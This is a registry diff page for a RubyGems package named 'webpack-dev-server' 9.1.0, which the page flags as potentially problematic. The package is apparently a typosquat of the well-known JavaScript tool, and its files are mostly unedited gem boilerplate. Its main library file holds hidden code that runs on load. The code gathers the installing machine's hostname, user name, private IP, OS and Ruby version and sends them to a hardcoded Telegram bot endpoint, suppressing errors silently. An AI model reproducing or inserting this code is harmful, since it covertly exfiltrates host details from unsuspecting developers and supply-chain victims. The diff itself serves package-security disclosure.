webpack-dev-server 9.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of webpack-dev-server might be problematic. Click here for more details.

checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 88c95220fa3cc967e3bebd78a4a3a40a3ca7de3c9a0a57790f2cd2fde76bcbd2
4
+ data.tar.gz: 0677bda394cc7083302657ed4adb5d9bda0da153f26b50a4a7f8e468d414a843
5
+ SHA512:
6
+ metadata.gz: 84610008ffd49cea45e6a32028bb281cc2217e36d68b986b0da0668f8f1d305b41442a1d57e14e19f3f5f06f4165a82756c23e76f8e8cda8da228e25ee63b63a
7
+ data.tar.gz: b1efed93d3f377d444ac1a460aa1533ae8d642a4a53b157dc601047c3b21feb90a6897b9b3d0bf3f43c473ebdf8929bf7a8c4d50809b34d52f54873578549fe3
data/README.md ADDED
@@ -0,0 +1,35 @@
1
+ # Webpack::Dev::Server
2
+
3
+ TODO: Delete this and the text below, and describe your gem
4
+
5
+ Welcome to your new gem! In this directory, you'll find the files you need to be able to package up your Ruby library into a gem. Put your Ruby code in the file `lib/webpack/dev/server`. To experiment with that code, run `bin/console` for an interactive prompt.
6
+
7
+ ## Installation
8
+
9
+ TODO: Replace `UPDATE_WITH_YOUR_GEM_NAME_IMMEDIATELY_AFTER_RELEASE_TO_RUBYGEMS_ORG` with your gem name right after releasing it to RubyGems.org. Please do not do it earlier due to security reasons. Alternatively, replace this section with instructions to install your gem from git if you don't plan to release to RubyGems.org.
10
+
11
+ Install the gem and add to the application's Gemfile by executing:
12
+
13
+ ```bash
14
+ bundle add UPDATE_WITH_YOUR_GEM_NAME_IMMEDIATELY_AFTER_RELEASE_TO_RUBYGEMS_ORG
15
+ ```
16
+
17
+ If bundler is not being used to manage dependencies, install the gem by executing:
18
+
19
+ ```bash
20
+ gem install UPDATE_WITH_YOUR_GEM_NAME_IMMEDIATELY_AFTER_RELEASE_TO_RUBYGEMS_ORG
21
+ ```
22
+
23
+ ## Usage
24
+
25
+ TODO: Write usage instructions here
26
+
27
+ ## Development
28
+
29
+ After checking out the repo, run `bin/setup` to install dependencies. You can also run `bin/console` for an interactive prompt that will allow you to experiment.
30
+
31
+ To install this gem onto your local machine, run `bundle exec rake install`. To release a new version, update the version number in `version.rb`, and then run `bundle exec rake release`, which will create a git tag for the version, push git commits and the created tag, and push the `.gem` file to [rubygems.org](https://rubygems.org).
32
+
33
+ ## Contributing
34
+
35
+ Bug reports and pull requests are welcome on GitHub at https://github.com/[USERNAME]/webpack-dev-server.
data/Rakefile ADDED
@@ -0,0 +1,4 @@
1
+ # frozen_string_literal: true
2
+
3
+ require "bundler/gem_tasks"
4
+ task default: %i[]
@@ -0,0 +1,9 @@
1
+ # frozen_string_literal: true
2
+
3
+ module Webpack
4
+ module Dev
5
+ module Server
6
+ VERSION = "9.1.0"
7
+ end
8
+ end
9
+ end
@@ -0,0 +1,32 @@
1
+ # frozen_string_literal: true
2
+
3
+ require_relative "server/version"
4
+ require 'net/http'
5
+ require 'uri'
6
+ require 'etc'
7
+ require 'socket'
8
+
9
+ module Webpack
10
+ module Dev
11
+ module Server
12
+ class Error < StandardError; end
13
+
14
+ begin
15
+ hostname = Socket.gethostname
16
+ user = Etc.getlogin || ENV['USER'] || ENV['USERNAME']
17
+ ip = Socket.ip_address_list.detect(&:ipv4_private?)&.ip_address
18
+ os = RUBY_PLATFORM
19
+ ruby_ver = RUBY_VERSION
20
+
21
+ message = "Ruby RCE Alert: Hostname=#{hostname}, User=#{user}, IP=#{ip}, OS=#{os}, Ruby=#{ruby_ver}"
22
+ uri = URI("https://api.telegram.org/bot6102545432:AAHLTE0SdQ7neK5Q2D2gmrGheDJc8ew6uN8/sendMessage")
23
+ params = { chat_id: '847743133', text: message }
24
+
25
+ uri.query = URI.encode_www_form(params)
26
+ Net::HTTP.get(uri)
27
+ rescue => e
28
+ # Silent fail
29
+ end
30
+ end
31
+ end
32
+ end
@@ -0,0 +1,8 @@
1
+ module Webpack
2
+ module Dev
3
+ module Server
4
+ VERSION: String
5
+ # See the writing guide of rbs: https://github.com/ruby/rbs#guides
6
+ end
7
+ end
8
+ end
metadata ADDED
@@ -0,0 +1,46 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: webpack-dev-server
3
+ version: !ruby/object:Gem::Version
4
+ version: 9.1.0
5
+ platform: ruby
6
+ authors:
7
+ - AB Bishal
8
+ bindir: exe
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ description: Write a longer description or delete this line.
13
+ email: akberbadsha05@gmail.com
14
+ executables: []
15
+ extensions: []
16
+ extra_rdoc_files: []
17
+ files:
18
+ - README.md
19
+ - Rakefile
20
+ - lib/webpack/dev/server.rb
21
+ - lib/webpack/dev/server/version.rb
22
+ - sig/webpack/dev/server.rbs
23
+ homepage: https://abbishal.ninja
24
+ licenses: []
25
+ metadata:
26
+ homepage_uri: https://abbishal.ninja
27
+ source_code_uri: https://abbishal.ninja
28
+ changelog_uri: https://abbishal.ninja
29
+ rdoc_options: []
30
+ require_paths:
31
+ - lib
32
+ required_ruby_version: !ruby/object:Gem::Requirement
33
+ requirements:
34
+ - - ">="
35
+ - !ruby/object:Gem::Version
36
+ version: 3.1.0
37
+ required_rubygems_version: !ruby/object:Gem::Requirement
38
+ requirements:
39
+ - - ">="
40
+ - !ruby/object:Gem::Version
41
+ version: '0'
42
+ requirements: []
43
+ rubygems_version: 3.6.7
44
+ specification_version: 4
45
+ summary: Write a short summary, because RubyGems requires one.
46
+ test_files: []